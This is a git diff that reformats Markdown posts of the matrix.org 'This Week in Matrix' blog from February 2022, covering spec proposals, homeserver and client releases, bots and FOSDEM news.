[Spaces](https://spec.matrix.org/v1.2/client-server-api/#spaces), room versions 8 and 9 which bring [restricted join rules](https://spec.matrix.org/v1.2/client-server-api/#restricted-rooms), as well as the [new Matrix URI scheme](https://spec.matrix.org/v1.2/appendices/#uris). +> > I'd also like to point out that v1.2 released on 2/2/2022 :) -> +> > Otherwise, thank you to [aaronraimist](https://github.com/aaronraimist) and [devonh](https://github.com/devonh) from the community for their fixes to the spec's text that merged this week. They are highly appreciated! -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3051: A scalable relation format](https://github.com/matrix-org/matrix-doc/pull/3051)! -> +> > This MSC proposes to pave a way to allowing relating an event to multiple other events, which unlocks some additional use cases. Go check it out if you're interested in extending Matrix's capabilities even further! - +> +> > ![](/blog/img/df2d40de84eeaba9ddaf82435fd82f36ffeea5e5.png) ## Dept of Servers 🏢 @@ -73,12 +79,12 @@ Synapse is the reference homeserver for Matrix [callahad](https://matrix.to/#/@callahad:matrix.org) announces -> [Synapse 1.52.0rc1](https://github.com/matrix-org/synapse/releases/tag/v1.52.0rc1) is out, but honestly, we're just all hands on deck for FOSDEM tomorrow! As a reminder, members of the Synapse team will be giving a couple of talks during at the event: -> +> [Synapse 1.52.0rc1](https://github.com/matrix-org/synapse/releases/tag/v1.52.0rc1) is out, but honestly, we're just all hands on deck for FOSDEM tomorrow! As a reminder, members of the Synapse team will be giving a couple of talks during at the event: +> > * [Events for the Uninitiated](https://fosdem.org/2022/schedule/event/matrix_events_uninitiatied/) by Shay at 10:10 UTC -> +> > * [Beyond the Matrix: Extend the capabilities of your Synapse homeserver](https://fosdem.org/2022/schedule/event/matrix_extend_synapse/) by Brendan at 15:40 UTC -> +> > Be sure to check out all of the talks in [the Matrix.org Foundation & Community devroom](https://fosdem.org/2022/schedule/track/matrixorg_foundation_and_community/) or visit [the Matrix stand](https://stands.fosdem.org/stands/matrix/) for more freeform discussion — we'll see you there! ### Dendrite ([website](https://github.com/matrix-org/dendrite)) @@ -88,7 +94,7 @@ Second generation Matrix homeserver [neilalexander](https://matrix.to/#/@neilalexander:dendrite.matrix.org) says > Today we've released [Dendrite 0.6.1](https://github.com/matrix-org/dendrite/releases/tag/v0.6.1) which contains a number of fixes and improvements. This release includes the following changes: -> +> > * Roomserver inputs now take place with full transactional isolation in PostgreSQL deployments > * Pull consumers are now used instead of push consumers when retrieving messages from NATS to better guarantee ordering and to reduce redelivery of duplicate messages > * Further logging tweaks, particularly when joining rooms @@ -102,12 +108,12 @@ Second generation Matrix homeserver > * Logging in with uppercase usernames from old installations is now supported again (contributed by [hoernschen](https://github.com/hoernschen)) > * Federated room joins now have more time to complete and should not fail due to expired contexts > * Events that were sent to the roomserver along with a complete state snapshot are now persisted with the correct state, even if they were rejected or soft-failed -> +> > Spec compliance, as measured by Sytest, currently sits at: -> +> > * Client-server APIs: 65% > * Server-server APIs: 94% -> +> > As always, you can join us in [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) for Dendrite discussion and announcements. ### Conduit ([website](https://conduit.rs)) @@ -117,11 +123,11 @@ Conduit is a simple, fast and reliable chat server powered by Matrix [Timo ⚡️](https://matrix.to/#/@timokoesters:fachschaften.org) says > Hey everyone, this evening we will finally release the next Conduit version: v0.3 -> -> If you have questions about anything, come and ask us in [#conduit:fachschaften.org](https://matrix.to/#/#conduit:fachschaften.org) -> +> +> If you have questions about anything, come and ask us in [#conduit:fachschaften.org](https://matrix.to/#/#conduit:fachschaften.org) +> > We have managed to get a lot of features and improvements into this release, here are some of the most exciting ones: -> +> > * Feature: Support server ACLs [!248](https://gitlab.com/famedly/conduit/-/merge_requests/248) > * Feature: RocksDB Database Backend [!217](https://gitlab.com/famedly/conduit/-/merge_requests/217) > * Feature: Database backend selection at runtime [!217](https://gitlab.com/famedly/conduit/-/merge_requests/217) @@ -129,11 +135,11 @@ Conduit is a simple, fast and reliable chat server powered by Matrix > * Feature: Creation of Spaces (exploring spaces is not supported yet) [!220](https://gitlab.com/famedly/conduit/-/merge_requests/220) > * Feature: Enable voice calls (requires configuring a TURN server) [!208](https://gitlab.com/famedly/conduit/-/merge_requests/208) > * Feature: Lazy loading for much faster initial syncs [!240](https://gitlab.com/famedly/conduit/-/merge_requests/240) -> +> > * Improvement: Batch inserts for events [!204](https://gitlab.com/famedly/conduit/-/merge_requests/204) > * Improvement: Significantly faster state resolution [!217](https://gitlab.com/famedly/conduit/-/merge_requests/217) > * Improvement: Reuse reqwest client [!265](https://gitlab.com/famedly/conduit/-/merge_requests/265) -> +> > Thanks to everyone who supports me on [Liberapay](https://liberapay.com/timokoesters) or Bitcoin! ## Homeserver Deployment 📥️ @@ -145,19 +151,20 @@ This chart creates a polylith, where every component is in its own deployment an [Till F.](https://matrix.to/#/@s7evink:dendrite.s3cr3t.me) reports > Hi TWIM followers :) -> +> > [dendrite-helm](https://github.com/S7evinK/dendrite-helm) is an experimental Helm Chart to deploy a polylith/monolith Server. -> +> > After last weeks release of Dendrite 0.6.0, I finally updated my Helm > Chart to finally reflect that. -> +> > Changes: +> > * Versioned releases (no more`latest` docker tags or such) > * [locmai](https://github.com/locmai) added dependencies (NATS JetStream, Postgres) > * Update README ([helm-docs](https://github.com/norwoodj/helm-docs/releases/v1.7.0)) -> +> > Special thanks to [locmai](https://github.com/locmai), who added the missing dependencies! -> +> > [Chart](https://github.com/S7evinK/dendrite-helm/releases/tag/v0.6.0) ## Dept of Clients 📱 @@ -168,17 +175,17 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports -> It's FOSDEM! Don't forget to checkout my 5 min ramble about custom stickers and emotes in Matrx: https://fosdem.org/2022/schedule/event/matrix_custom_stickers/ -> +> It's FOSDEM! Don't forget to checkout my 5 min ramble about custom stickers and emotes in Matrx: +> > In preparation for FOSDEM, I've also been working on some goodies so that you can participate using Nheko in a limited manner: -> +> > * Previews for rooms are now fetched for spaces using the hierarchy API > * Widgets for the talks should be shown below the topic as links -> +> > While this isn't grand, it should be good enough for some to participate using Nheko. You will need the latest master (some commits aren't even pushed at the time of writing!), but if you are just watching, this should give you an easy way to fetch the talk link for each room. You will still have to watch the actual talk in your browser though. -> +> > LorenDB also added a big, fat, red offline indicator. If your server dies because of FOSDEM, now Nheko will tell you. -> +> > I hope you all will have a great time and I hope I see you around! ### Moment ([website](https://mx-moment.xyz)) @@ -189,24 +196,26 @@ A Matrix client; forked from Mirage. > Releasing [Moment](https://mx-moment.xyz), a fork of [Mirage](https://github.com/mirukana/mirage)! > In case you missed out on Mirage, here's what this is: +> > * A fancy QML + Python client aimed at [power users](https://gitlab.com/mx-moment/moment/-/blob/main/docs/POWERUSER.md#a-power-users-guide-to-moment) > * [Keyboard bindings](https://gitlab.com/mx-moment/moment/-/blob/main/docs/KEYBINDINGS.md#moment-default-keybindings-list) for almost everything > * Very customizable, with ability to adjust any keybinding/functionality > * A multi-account client > * Adjusts to any screen size -> +> > After 6 months of inactivity on the Mirage project, Moment brings it back to life. We have fixed some important issues and will continue to maintain Moment! -> +> > 🏠 Matrix room: [#moment-client:matrix.org](https://matrix.to/#/#moment-client:matrix.org) -> -> 📁 Repo: https://gitlab.com/mx-moment/moment +> +> 📁 Repo: > 🌐 Website: [mx-moment.xyz](https://mx-moment.xyz/) > 🔍 Differences between [Mirage and Moment](https://gitlab.com/mx-moment/moment/-/blob/main/docs/MIRAGEDIFF.md) -> +> > 🛠 Install Moment [from source](https://gitlab.com/mx-moment/moment/-/blob/main/docs/INSTALL.md#manual-installation) > 📦 Install Moment [from Flatpak](https://gitlab.com/mx-moment/moment/-/blob/main/docs/INSTALL.md#flatpak) > ⛰ Install Moment [on Alpine Linux](https://gitlab.com/mx-moment/moment/-/blob/main/docs/INSTALL.md#alpine-linux--postmarketOS) -> +> +> > ![](/blog/img/moment-screenshot.png) ### Hydrogen ([website](https://github.com/vector-im/hydrogen-web)) @@ -228,18 +237,21 @@ Everything related to Element but not strictly bound to a client [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) reports > Welcome to another week of TWIM at Element! Here’s our updates: -> +> > **Polls and Location Sharing** +> > * Polls is now out of labs, and available in the composer for all users with the latest app versions. > * Location sharing is also now available on the mobile apps. For now you will need to enable it in settings in order to see the composer icon and send your location. -> +> > **Threads** +> > * Threaded Messaging is making forward progress on all 3 platforms; we’re aiming to help clear up cross-talk on the timeline by moving side-convo’s to the right panel. If you want to try it out, it's available in Labs on Web. We’ll be pushing Threads into Labs on Mobile in the next release! -> +> > **Community Testing** +> > * Join [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) to help out with the testing > * Coming up this week: -> * The new search experience: Monday, 7th Feb at 15:30 UTC / 16:30 CET +> * The new search experience: Monday, 7th Feb at 15:30 UTC / 16:30 CET ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -249,10 +261,11 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * Bubbles are now available! Keeping your inbound messages on the left, and your outbound messages on the right your timeline should now be easier to skim read. This layout is off by default but to see it in action, update your Message Layout appearance preferences from Settings. > * Metaspaces have landed! Giving users a new way to display favourites, DMs and rooms outside of other spaces. Switch these on in Quick Settings at the bottom left of your app. -> +> > **In Labs (Enable labs features in settings on develop.element.io or Nightly)** +> > * New and improved Search! -> - Provide feedback on your experience directly from the Search window. +> * Provide feedback on your experience directly from the Search window. > * Threads, including design updates. The MSC is available here[MSC3440](https://github.com/matrix-org/matrix-doc/pull/3440) ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -265,7 +278,7 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * Work on a Rust prototype is underway. We’re excited to learn about the opportunities and advantages of this approach as we start to learn and experiment. > * Also, Xcode13 & iOS15 compatibility has been added for developers > * Coming soon in 1.8.0! Bubbles and an improved Onboarding experience -> - Threads will also be hitting Labs on Mobile soon so let us know what you think. +> * Threads will also be hitting Labs on Mobile soon so let us know what you think. ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -277,8 +290,9 @@ Secure and independent communication for Android, connected via Matrix. Come tal > * Bubbles will also be landing soon, you can find this new feature in Settings > Preferences > Timeline. The feature has been merged to develop if you want to give it a try! > * Threads have also been merged on develop. > * We’ve been making improvements to the Onboarding experience for new users too. -> +> > **In Labs** +> > * Threads will soon be in Labs on Mobile. Switch it on and try it out! ## Dept of Non Chat Clients 🎛️ @@ -290,20 +304,21 @@ A Social Annotation Tool Powered by Matrix [gleachkr](https://matrix.to/#/@gleachkr:matrix.org) says > ### Viewer Updates -> +> > Here's a big populus viewer update! Since last time, I've been mostly working on improving the user experience and onboarding for non-experts, as well as making my teaching-assistant bot a little smarter - this work is ongoing. But I have had time for a few new features 😁 +> > * Populus now implements [MSC3592 - Markup locations for PDF documents](https://github.com/matrix-org/matrix-doc/pull/3592), a proposal building on [MSC3574 - Marking up resources](https://github.com/matrix-org/matrix-doc/pull/3574), so there's a documented format for interoperable PDF annotations (though this is not the final draft, see below!) > * I've reworked the sidebar for the PDF view, improving the aesthetics and allowing for a "fullscreen" view of PDF content. > * I've added user-directory search and improved the usability of the invite modal. -> +> > The reason that MSC3574 is not a final draft is that I'm increasingly looking at the w3c's [web annotation data model](https://www.w3.org/TR/annotation-model/) as a compelling foundation for annotations on Matrix. Stay tuned for a upcoming MSC, or come over to [#opentower:matrix.org](https://matrix.to/#/#opentower:matrix.org) to talk about the future of annotation on Matrix! -> +> > ### Populus-Philarchive -> +> > I've also been working on a proof-of-concept for one Matrix use-case that I'm hoping Populus can help fill. Social annotation can be a good tool for getting feedback on works in progress, or for discussing new research with your team or lab. Wouldn't it be nice if you could just pop open a paper on a preprint archive and start commenting, or say "hey friends, I'm reading this paper, what do you think?" And wouldn't it be nicer if you could do that and host the discussion on your university or team's Matrix server? -> -> Here's a first pass at that idea: https://opentower.github.io/populus-philarchive/ -> +> +> Here's a first pass at that idea: +> > At the moment works by just pasting in paper codes from [philarchive.org](https://philarchive.org/) - it'll preview bibliographic information and give you a list of discussions taking place around a given paper, with the option to create a new one. Sessions are shared with populus-viewer, and pdfs continue to be hosted by the original archive. There are a number of clear upgrade paths, by integrating with a preprint archive that has an open search API, or even by adding an OAI-PMH metadata harvester to the backend, to combine the metadata from a bunch of open paper archives. I'm really excited to see where this work goes. {{ youtube_player(video_id="Hf5_Skg3aMM") }} @@ -317,11 +332,11 @@ A KRunner plugin to list joined rooms and possibly other things from nheko. [LorenDB](https://matrix.to/#/@lorendb:matrix.org) announces > I have been working on a little project over the last week: [nheko-krunner](https://github.com/LorenDB/nheko-krunner). nheko-krunner is a [KRunner](https://userbase.kde.org/Plasma/Krunner) plugin that loads rooms from nheko, displays them to the user, and allows the user to activate said rooms. How does it do this? Well, I've also been creating a D-Bus API for nheko! This code has not been merged yet, but once it is, you will be able to create your own plugins that access nheko via D-Bus! -> +> > The current functionality of nheko-krunner is simply (1) search and switch to rooms that you are in (not unlike the Ctrl-K switcher), and (2) join rooms from their aliases. -> +> > If you want to try out nheko-krunner, you will need to build from the `dbus` branch in my personal fork of nheko and then install nheko-krunner from the above repo. -> +> > I hope that somebody finds this useful and I am excited to see what other D-Bus plugins may show up in the future! ### Matrix Wrench ([website](https://gitlab.com/jaller94/matrix-wrench/)) @@ -331,7 +346,7 @@ Matrix Wrench is a web client to tweak Matrix rooms. [ChristianP](https://matrix.to/#/@christianp:vector.modular.im) announces > The versions 0.4.x brought improvements to the network log, letting you spot and investigate HTTP errors, bad JSON and network errors. -> +> > Ideally, I want to focus as much on the Matrix Spec as possible, but for the v0.5.0 I might venture into the territory of the Synapse Admin API, e.g. for listing and deleting media in a room. Please contact me, if you have use cases around media moderation you'd like me to consider. ### export matrix messages ([website](https://gitlab.com/etke.cc/emm)) @@ -341,11 +356,11 @@ A commandline utility to export matrix messages [Aine](https://matrix.to/#/@aine:etke.cc) reports > emm (export matrix messages) v0.9.4 is here -> +> > Now you can ignore messages from some users, defined in the `-i` cli argument. -> +> > For example, to ignore TWIM bot and me, `-i @twim:cadair.com,@aine:etke.cc` -> +> > [Source code](https://gitlab.com/etke.cc/emm) ## Dept of SDKs and Frameworks 🧰 @@ -357,16 +372,18 @@ Halcyon is an easy to use matrix library inspired by discord.py [gen3](https://matrix.to/#/@gen3:blackline.xyz) announces > No new release this week. I've been working on the video sending functionality, and I am looking forward to seeing what that enables ya'll to do! -> In the meantime, I've published a template / demo bot you can find here: https://github.com/WesR/Halcyon-stock-bot . In just __37__ lines of (unminified) code, this little bot: +> In the meantime, I've published a template / demo bot you can find here: . In just **37** lines of (unminified) code, this little bot: +> > * Sets a status message > * Automatically joins rooms via invite > * Searches messages for $stocks mentioned, then formats and replies the current price and daily percent change for all the tickers in the message > Screenshot below -> -> I'm always looking for more feedback, and love to see what people are working on. Come hangout in the Halcyon room: https://matrix.to/#/#halcyon:blackline.xyz -> Lastly, for more info at on the bot library visit https://github.com/WesR/Halcyon +> +> I'm always looking for more feedback, and love to see what people are working on. Come hangout in the Halcyon room: +> Lastly, for more info at on the bot library visit > Happy Hacking! - +> +> > ![](/blog/img/TOtwvFczEmYJyuZfTTBKGOKJ.png) ### Polyjuice ([website](https://gitlab.com/polyjuice)) @@ -386,7 +403,7 @@ Matrix server setup using Ansible and Docker [Slavi](https://matrix.to/#/@slavi:devture.com) says > Thanks to [HarHarLinks](https://github.com/HarHarLinks), [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) can now install the [matrix-hookshot](https://github.com/Half-Shot/matrix-hookshot) bridge for bridging Matrix to multiple project management services, such as GitHub, GitLab and JIRA. -> +> > See our [Setting up matrix-hookshot](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-bridge-hookshot.md) documentation to get started. ### Matrix Corporal ([website](https://github.com/devture/matrix-corporal)) @@ -406,9 +423,9 @@ A Matrix helpdesk bot [Aine](https://matrix.to/#/@aine:etke.cc) announces > Honoroit v0.9.4 is here! -> +> > New version comes with in-memory caching for thread relations. It significantly decreases amount of requests to homeserver during thread relations solving, both for MSC3440 threads and reply-to chain fallback -> +> > [Source code](https://gitlab.com/etke.cc/honoroit), say hi in [#honoroit:etke.cc](https://matrix.to/#/#honoroit:etke.cc) ## Dept of Social Media? @@ -420,14 +437,16 @@ A Deviantart Fork based on Matrix [MTRNord (they/them)](https://matrix.to/#/@mtrnord:nordgedanken.dev) says > This week the focus was on fixing quirks and making the profile (at least partially) editable and adding translations. +> > ## Changes +> > * Fonts now get hosted on the page itself due to the legal issues in Germany with Google Fonts hosted fonts > * Profile page has a rough UI to edit the profile page if logged in > * Licence gets now correctly displayed according to the Creative Commons Licence requirements -> * Initial work on translations has started. A Weblate instance has been set up at https://trans.nordgedanken.dev for this. +> * Initial work on translations has started. A Weblate instance has been set up at for this. > * German translation was added > * Progress on the HS side to be able to use it as a public registration server for anyone who wants to post to Matrix Art. (yes, this really has a public registration HS) -> - Mjölnir instance is set up which also is used to moderate Matrix Art in complete (Aka it is joining on creation.) This is used for being able to moderate the website. +> * Mjölnir instance is set up which also is used to moderate Matrix Art in complete (Aka it is joining on creation.) This is used for being able to moderate the website. > * Errors are now properly reported to the user ## Dept of Interesting Projects 🛰️ @@ -439,15 +458,16 @@ An R package To Gather Stats From Chat Platforms [Gwmngilfen](https://matrix.to/#/@gwmngilfen:matrix.org) announces > ## ChatStat 0.1.0 release -> +> > [ChatStat](https://github.com/GregSutcliffe/ChatStat) is an R package for making reports on Matrix rooms. -> +> > Ahead of my [lightning talk](https://fosdem.org/2022/schedule/event/matrix_chat_stat/) on Sunday, ChatStat has been polished up and given it's first release. You can get it [here](https://github.com/GregSutcliffe/ChatStat/releases/tag/0.1.0). Huge thanks to @johrpan:johrpan.de for their contributions too. -> +> > The main highlight since my last TWIM is that we actually have report generation now! You can see an example [here](https://emeraldreverie.org/example_chatstat_report.html), or check the project [wiki](https://github.com/GregSutcliffe/ChatStat/wiki/A-non-R-user's-guide-to-ChatStat) for an example of using the raw data with [ggplot2](https://ggplot2.tidyverse.org/) to make custom plots of your own. -> +> > If you do give it a try, please stop by [#matrix-matrix_chat_stat:fosdem.org](https://matrix.to/#/#matrix-matrix_chat_stat:fosdem.org) to let us know how you got on! - +> +> > ![](/blog/img/MZxWgpYfaUQzKOoVqzORAIze.png) ## Matrix in the News 📰 @@ -455,13 +475,14 @@ An R package To Gather Stats From Chat Platforms [Carl Schwan](https://matrix.to/#/@carl:kde.org) says > The season 2 of Raising Dion (a Netflix TV show) featured shortly a video call with Riot/Element and a few other open source software (e.g. Karbon). Oh and you might recognize a few usernames in the sidebar 😅 - +> +> > ![](/blog/img/ec1c7832659c23255bfc359cc15c02b22c0ee5f5.png) [Moe (Moritz Dietz)](https://matrix.to/#/@moe:moritzdietz.com) announces -> Circles has made it into a small German speaking Apple News site/App called ifun.de. -> „Circles-App: Neue alte Ideen für private soziale Netzwerke“ https://www.iphone-ticker.de/circles-app-neue-ideen-fuer-private-soziale-netzwerke-185764/ +> Circles has made it into a small German speaking Apple News site/App called ifun.de. +> „Circles-App: Neue alte Ideen für private soziale Netzwerke“ > There wasn’t a mention of Matrix - which is kind of exciting really. This means it can just be the transparent layer of great apps :) ## Dept of Ping 🏓 @@ -469,6 +490,7 @@ An R package To Gather Stats From Chat Platforms Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -485,6 +507,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|diasp.in|3441| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/02/2022-02-07-hosting-fosdem-2022-on-matrix.md b/content/blog/2022/02/2022-02-07-hosting-fosdem-2022-on-matrix.md index 6a4163e00..f55df0af4 100644 --- a/content/blog/2022/02/2022-02-07-hosting-fosdem-2022-on-matrix.md +++ b/content/blog/2022/02/2022-02-07-hosting-fosdem-2022-on-matrix.md @@ -25,7 +25,7 @@ New this year, we also generated a space hierarchy for the whole conference at [ ![FOSDEM Space listing all the FOSDEM rooms](/blog/img/2022-07-02-fosdem_space.png) -Another greatly appreciated feature was the famous “maximised widgets” I (Thib) [keep telling you about in Matrix Live episodes](https://www.youtube.com/c/Matrixdotorg). Attendees and speakers could give the conference the central attention it deserved while simultaneously keeping an eye on what was happening in the chat. +Another greatly appreciated feature was the famous “maximised widgets” I (Thib) [keep telling you about in Matrix Live episodes](https://www.youtube.com/c/Matrixdotorg). Attendees and speakers could give the conference the central attention it deserved while simultaneously keeping an eye on what was happening in the chat. ![FOSDEM stand with maximised widget view](/blog/img/2022-07-02-fosdem_stand.png) diff --git a/content/blog/2022/02/2022-02-11-this-week-in-matrix-2022-02-11.md b/content/blog/2022/02/2022-02-11-this-week-in-matrix-2022-02-11.md index 47e81db7f..622d8186e 100644 --- a/content/blog/2022/02/2022-02-11-this-week-in-matrix-2022-02-11.md +++ b/content/blog/2022/02/2022-02-11-this-week-in-matrix-2022-02-11.md @@ -19,42 +19,47 @@ image = "https://matrix.org/blog/img/6dfc818a4f5412d2901ef68270408784fdb251b2.pn [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC3720: Account status](https://github.com/matrix-org/matrix-doc/pull/3720) > * [MSC3715: `/relations` parity with `/messages`](https://github.com/matrix-org/matrix-doc/pull/3715) > * [MSC3713: Alleviating ACL exhaustion with ACL Slots](https://github.com/matrix-org/matrix-doc/pull/3713) > * [[WIP] MSC3710: User groups](https://github.com/matrix-org/matrix-doc/pull/3710) -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **MSCs with newly proposed Final Comment Period:** +> > * [MSC3440: Threading via m.thread relation](https://github.com/matrix-org/matrix-doc/pull/3440) > * [MSC3613: Combinatorial join rules](https://github.com/matrix-org/matrix-doc/pull/3613) > * [MSC3667: Enforce integer power levels](https://github.com/matrix-org/matrix-doc/pull/3667) -> +> > **Closed MSCs:** +> > * [[WIP] MSC3348: Server-Server Room based extensible communication](https://github.com/matrix-org/matrix-doc/pull/3348) -> +> > ## Spec Updates -> +> > [MSC3440](https://github.com/matrix-org/matrix-doc/pull/3440) (threading) continues to move forward with a proposed final comment period this week. As a really useful feature in Matrix, it's great to see it getting closer to landing in the spec. -> +> > In a similar vein, [MSC3613](https://github.com/matrix-org/matrix-doc/pull/3613) (combinatorial join rules) had a proposed final comment period. The intention of this is to be a simple mechanism for resolving the "it's not possible to have both a restricted and knock room" situation - as both introduced mutually exclusive join rules. This MSC will likely serve as the basis of a new room version whenever it lands. -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3144: Allow Widgets By Default in Private Rooms](https://github.com/matrix-org/matrix-doc/pull/3144)! -> +> > This MSC makes the case for allowing widgets to be created in private rooms by default. The actual spec for it is blocked behind having widgets in the spec (see [this tracking PR](https://github.com/matrix-org/matrix-doc/pull/2764) if you're interested). -> +> > As noted in the PR though, this MSC could build on the existing `im.vector.modular.widgets` unstable prefix for widgets in order to create an implementation for this feature. It does not appear to have happened yet though. - +> +> > ![](/blog/img/a15bc983bc9e0945b6c315e6481428c6d5a7dc7e.png) ## Dept of Servers 🏢 @@ -66,11 +71,11 @@ Synapse is the reference homeserver for Matrix [callahad](https://matrix.to/#/@callahad:matrix.org) announces > Hello, TWIM! This week we [released Synapse 1.52](https://matrix.org/blog/2022/02/08/synapse-1-52-released), which includes new Admin APIs for monitoring federation status and immediately retrying failed connections, as well as for reporting on rooms shared between two homeservers. We've also fixed / improved media previews for sites [like Reddit](https://github.com/matrix-org/synapse/pull/11767). Plus lots more fixes / refactors / improvements under the hood. -> +> > This is a smaller release as it's coming off of our FOSDEM sprint, but we look forward to getting back to more regularly-sized and featureful Synapses this month. -> +> > Notably, we've been experimenting with [Poetry](https://python-poetry.org/) to better manage Python dependencies in our applications (Synapse, Sygnal, and Sydent). We just [switched Sydent over](https://github.com/matrix-org/sydent/pull/488) this week and are working out the kinks in our CI and build pipelines. We're looking forward to bringing this consistency to Synapse next month! -> +> > See you next week! ### Dendrite ([website](https://github.com/matrix-org/dendrite)) @@ -80,7 +85,7 @@ Second generation Matrix homeserver [neilalexander](https://matrix.to/#/@neilalexander:matrix.org) reports > Yesterday we released [Dendrite 0.6.3](https://github.com/matrix-org/dendrite/releases/tag/v0.6.3) which is a primarily bug fix release. It contains the following changes: -> +> > * Initial support for `m.login.token` > * A number of regressions from earlier v0.6.x versions should now be corrected > * Missing state is now correctly retrieved in cases where a gap in the timeline was closed but some of those events were missing state snapshots, which should help to unstick slow or broken rooms @@ -92,7 +97,7 @@ Second generation Matrix homeserver > * Rejected events can now be un-rejected if they are reprocessed and all of the correct conditions are met > * Fetching missing auth events will no longer error as long as all needed events for auth were satisfied > * Users can now correctly forget rooms if they were not a member of the room -> +> > As always, please feel free to join us in [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) for more Dendrite-related discussions! ### Conduit ([website](https://conduit.rs)) @@ -102,11 +107,12 @@ Conduit is a simple, fast and reliable chat server powered by Matrix [Timo ⚡️](https://matrix.to/#/@timokoesters:fachschaften.org) says > Conduit v0.3.0 released last week and over 50 servers already upgraded! This week we looked into some bugs that still happen with this version: -> * Element Android doesn't show notifications: A bug where we send 'null' instead of leaving out a field https://github.com/matrix-org/sygnal/issues/295 -> * Missing profiles when scrolling up: Bug in multiple clients: https://gitlab.com/famedly/conduit/-/issues/233 -> +> +> * Element Android doesn't show notifications: A bug where we send 'null' instead of leaving out a field +> * Missing profiles when scrolling up: Bug in multiple clients: +> > These bugs will be fixed in the coming days. -> +> > Thanks to everyone who supports me on [Liberapay](https://liberapay.com/timokoesters) or Bitcoin! ## Homeserver Deployment 📥️ @@ -128,13 +134,15 @@ Helm Chart to deploy Dendrite on Kubernetes > I am pleased to share that both v2 and v3 of the Dendrite Helm Chart have now been released. > > ### Dendrite Helm Chart v2 -> Version 2 included a bump in app version up to v0.6.0 and the necessary switch from Kafka to NATS. -> +> +> Version 2 included a bump in app version up to v0.6.0 and the necessary switch from Kafka to NATS. +> > ### Dendrite Helm Chart v3 +> > Version 3 includes the addition of polylith support as well as some general improvements and fixes. -> +> > You can find the latest version of the chart and documentation on [GitHub](https://github.com/k8s-at-home/charts/blob/master/charts/incubator/dendrite) -> +> > Thanks to @anthr76:mozilla.org and @s7evink:matrix.org for their support throughout the development of polylith mode. ## Dept of Clients 📱 @@ -146,11 +154,14 @@ A client for matrix, the decentralized communication protocol [Carl Schwan](https://matrix.to/#/@carl:kde.org) announces > NeoChat 22.02 is out with the possibility of sharing files directly from NeoChat to other apps and services (Nextcloud, Imgur, email, ...). We also added support for minimizing the application to the system tray on startup and you can now label accounts to better organize them if you are using the multi-account feature. Aside from that, we spend some time fixing many small bugs and paper cuts reducing the total amount of open bug reports by 20%. -> -> https://plasma-mobile.org/2022/02/09/plasma-mobile-gear-22-02/#neochat -> +> +> +> +> > ![](/blog/img/85e63c7f64e07f859e0a557e07986154bd726c96.png) +> > ![](/blog/img/500f8459aa9dd9350721295bb224911ddaa4fadf.png) +> > ![](/blog/img/b97f22ee6104989e50417d4c05e7bb89d33178f0.png) ### Hydrogen ([website](https://github.com/vector-im/hydrogen-web)) @@ -160,7 +171,8 @@ Hydrogen is a lightweight matrix client with legacy and mobile browser support [Bruno](https://matrix.to/#/@bwindels:matrix.org) announces > We've release [0.2.26](https://github.com/vector-im/hydrogen-web/releases/tag/v0.2.26). You can now create rooms and direct messages with Hydrogen. There's also a bug fix in this release for replies not loading in e2ee rooms under certain conditions. - +> +> > ![](/blog/img/zzoxStAoFMpsqdgMBUZatoVG.png) ### Element ([website](https://element.io)) @@ -170,16 +182,19 @@ Everything related to Element but not strictly bound to a client [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) announces > Welcome to another week of TWIM at Element! Here’s our updates: -> +> > **Polls and Location Sharing** +> > * Polls is now out of labs, and available in the composer for all users with the latest app versions. > * Location sharing is available on the mobile apps. For now you will need to enable it in settings in order to see the composer icon and send your location. As of next week’s releases it will be enabled by default on all platforms. -> +> > **Threads** +> > * Threads aims to reduce cross-talk on the timeline by moving side-convo’s to the right panel. If you want to try it out, it's available in Labs on Web today and in Labs on Mobile from next week! > * We’ve been working on improving the stability and speed of threads across platforms. -> +> > **Community Testing** +> > * Join#element-community-testing:matrix.org to join us for future testing sessions! ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -190,17 +205,18 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * Metaspaces have landed! Giving users a new way to display favourites, DMs and rooms outside of other spaces. Switch these on in Quick Settings at the bottom left of your app. > * New and improved Search! We’re pleased to move the new search experience into Beta. Head to Settings > Labs to access it. -> - Those of you using Nightly or Develop will see the new experience by default. -> - Provide feedback on your experience directly from the Search window. +> * Those of you using Nightly or Develop will see the new experience by default. +> * Provide feedback on your experience directly from the Search window. > * On Web we’ve also been chasing away some bugs, specifically 